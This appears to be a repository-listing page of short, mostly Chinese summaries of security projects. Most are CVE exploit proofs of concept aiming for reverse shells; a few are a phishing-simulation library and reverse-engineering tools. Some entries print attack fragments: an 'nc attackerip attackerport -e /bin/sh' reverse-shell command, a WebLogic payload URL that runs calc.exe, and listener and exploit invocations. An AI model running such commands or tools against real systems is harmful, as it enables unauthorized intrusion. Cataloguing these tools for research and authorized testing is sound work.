cover

Cover Keep private data, internal infrastructure and secrets out of cloud coding agents without breaking your workflow. Install · Quick start · Policies · Monitoring · Pi / OMP · Security Cover is a bidirectional privacy proxy for AI coding agents. It replaces matched sensitive values locally wit...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script 一个简短而精炼的漏洞利用脚本，用于 /file/show.cgi/bin 端点中的 CVE-2012-2982 已认证远程代码执行 RCE 漏洞。 Webmin RCE 漏洞利用 — CVE-2012-2982 本仓库包含针对 Webmin 🧠 注意事项 载荷默认为 bash -i 反向 shell。 注入载荷末尾的 | 对成功执行至关重要。 已在 Webmin 1.580 上测试，很可能适用于更早版本。 🔒 免责声明 仅 供教育和授权测试使用。 未经授权使用此漏洞利用程序是非法且不道德的。对此我不承担任何责任。...

Enigma

Enigma Engine A native C++ reverse-engineering engine inspired by Ghidra's analysis pipeline. Enigma removes the JVM dependency and provides a standalone analysis core that can be embedded, extended, and integrated directly with native tools and AI systems. Current State Enigma is under active...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function 漏洞 CVE-2022-22963 RCE 这是 Spring4Shell CVE-2022-22963 的 Python 实现，影响运行 Spring Cloud Function =3.1.6（3.1.x 版本）和 =3.2.2（3.2.x 版本）的服务。 结合了多个网上公开的 POC 作者: Randall Banner 日期: 17/04/23 描述: 脚本会在当前目录创建 shell.sh，其中包含一个简单的 bash 反向 shell 单行命令。然后启动一个 Web 服务器，通过 wget 将其提供给受害目标（输出到 /dev/sh...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV 系列 概念验证与漏洞利用 ⚠ 警告： 仅用于授权测试 。不得将本工具用于您未拥有或未获得书面许可的系统。这仅是一个概念验证 ，仅限授权测试 使用。 这是什么 一个小型仓库，包含： CiscoPoc.py — 用于检测 CVE-2023-20048 的无害概念验证脚本。 CiscoRCE.py — 通过存在漏洞的 form2ping.cgi 尝试获取反向 Shell 的漏洞利用工具。 描述 该脚本用于检测 Cisco RV 系列路由器 是否存在 CVE-2023-20048 漏洞，这是一个命令注入缺陷，可导致以 root 权限执行远程代码...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 认证远程代码执行 PoC 该仓库包含针对 CVE-2025-24367 的概念验证利用代码，该漏洞是 Cacti 中的一个认证远程代码执行漏洞。 该问题利用了图形模板处理中输入清理不足的缺陷。通过向 “Unix – Logged in Users” 图形模板（ID 226）中注入恶意内容，可以向 Cacti Web 根目录写入任意 PHP 文件，并在服务器上执行命令。 此 PoC 仅用于 实验室环境、受控测试和研究目的 。 漏洞摘要 产品： Cacti 漏洞类型： 认证远程代码执行 CVE 编号： CVE-2025-24367 攻击向量：...

CVE-2025-49132

CVE-2025-49132-POC 我出于个人挑战制作了这个PoC，灵感来自0xtensho 旨在提供更清晰的输出，仅用于反弹shell 用法： 先更改主机和监听器变量 python3 CVE-2025-49132POC.py 免责声明 法律免责声明：本概念验证（PoC）仅供教育目的。作者不对因使用本程序造成的任何滥用或损害负责。未经授权访问计算机系统是犯罪行为。使用本工具即表示您同意对自己的行为承担全部责任。请自行承担风险使用。...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

distccd_rce_CVE-2004-2687

此脚本的目标不是使用 Metasploit，而是手动执行。 用法： nc -lvnp 4466 运行漏洞利用： python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

Mimic

Mimic Navegador‑en‑el‑navegador BitB sin marcos: sin iframes, sin problemas de frame‑busting. Una librería de un solo script basada en Shadow DOM / MutationObserver para simulaciones de phishing realistas, fácilmente inyectable mediante proxy inverso. ⚠️ Advertencia : Utilice este software...

CVE-2025-56383

Уязвимость Тип атаки: DLL Hijacking DLL劫持 Целевое приложение: Notepad++ Метод: Файл NppExport.dll загружается Notepad++ из рабочей директории Реализация Вредоносная DLL содержит: Экспортируемые функции оригинальной библиотеки для обеспечения совместимости Reverse shell, соединяющийся с атакующим...

CVE-2021-44967

CVE-2021-44967：LimeSurvey 认证后 RCE CVE-2021-44967 的概念验证。该脚本会登录 LimeSurvey，上传并激活一个 PHP 插件，然后触发反向 shell。 仅可对你拥有或已获授权测试的系统使用此工具。 环境要求 Python 3 beautifulsoup4、netifaces 和 requests PATH 中可用的 nc 具有安装插件权限的 LimeSurvey 管理员凭据 创建隔离环境并安装 Python 包： python3 -m venv .venv source .venv/bin/activate python -m pip...

paint2die

最简单且最可靠的 RichFaces Paint2DResource CVE-2018-12533 RF-14310 漏洞利用工具 安装 • 使用 • 运行 Paint2Die 安装说明 git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 使用 ./paint2die -h 这将显示该工具的帮助信息。以下是它支持的所有选项。 Usage: ./paint2die flags | |||| || |...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki 未授权远程代码执行漏洞利用 受影响的 XWiki 版本 版本 15.10.11 版本 16.4.1 版本 16.5.0RC1 漏洞描述 受影响版本的 XWiki 存在一个远程代码执行漏洞，该漏洞由 SolrSearch 宏中不安全的 Groovy 表达式处理引起。未经认证的攻击者可远程执行任意 Groovy 代码并获得反向 Shell。 概念验证 此漏洞利用可用于在目标机器上执行代码，同时也能建立反向 Shell。提供两种模式：交互式或基于参数。该漏洞利用可自动启动监听器，也可使用现有监听器。 先决条件 攻击者机器 Python 3...

ctxdebug

MCP servers for WinDbg, IDA Pro, and x64dbg One stdio interface · 160+ tools · Three debuggers, one client. Quick Start · Architecture · Servers · Workflows · Report an Issue Website · ctxdebug.xyz · Contact · [email protected] · Status · Public alpha For authorized reverse engineering, cras...

ida_kcpp

idakcpp An IDAPython module for way more convienent way to Reverse Engineering iOS kernelcaches. Big part of the iOS kernelcache is written by C++, which compiled into complicated binary code use many virtual table derefences rather than explicit direct calls.idakcpp takes the advanteage of...

openhaystack

OpenHaystack OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects keyrings, backpacks, ... or integrate it into other Bluetooth-capable devices such as notebooks...

CVE-2025-25257

CVE-2025-25257 由watchtowr及其他人在github上发布的针对CVE-2025-25257的漏洞利用代码，在我从官方供应商网站下载的fortiweb安装版本上无法工作。我从这些漏洞利用代码中提取了一些代码，制作了一个能够在我的环境中弹出反向shell的POC。反向shell的IP地址和端口是硬编码的，当然需要更改。 漏洞分析及逐步演示已在我在YouTube频道的两个视频中描述（意大利语，英文字幕）： 第1部分：https://youtu.be/Z6I4adGuJ1c 第2部分：https://youtu.be/Z6I4adGuJ1c...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 nc -lnvp 4444 利用端 python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...